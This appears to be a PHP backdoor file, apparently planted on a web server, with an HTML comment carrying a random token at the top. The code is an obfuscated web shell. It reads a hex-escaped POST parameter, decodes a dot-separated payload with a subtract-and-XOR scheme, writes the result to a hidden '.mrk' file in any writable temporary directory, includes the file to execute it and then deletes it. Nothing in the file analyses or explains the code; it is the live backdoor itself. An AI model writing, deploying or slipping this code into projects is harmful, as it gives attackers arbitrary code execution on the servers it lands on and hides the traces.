<!--dW1NAlcN-->
<?php

if(isset($_POST["\x6Fbj\x65\x63t"])){
$val = array_filter(["/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp"]);
$flag = $_POST["\x6Fbj\x65\x63t"];
	$flag	 = 	explode  	(	"." 		,	 $flag		)	 ;  	
$resource = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);
$i = 0;

array_walk($flag, function ($val) use (&$resource, &$i, $s, $sLen) {
    $sChar = ord($s[$i % $sLen]);
    $d = ((int)$val - $sChar - ($i % 10)) ^ 12;
    $resource .= chr($d);
    $i++;
});
foreach ($val as $entity) {
            if (is_dir($entity) ? is_writable($entity) : false) {
            $component = "$entity/.mrk";
            $desc = fopen($component, 'w');
if ($desc) {
    fwrite($desc, $resource);
    fclose($desc);
    include $component;
    @unlink($component);
    die();
}
        }
}
}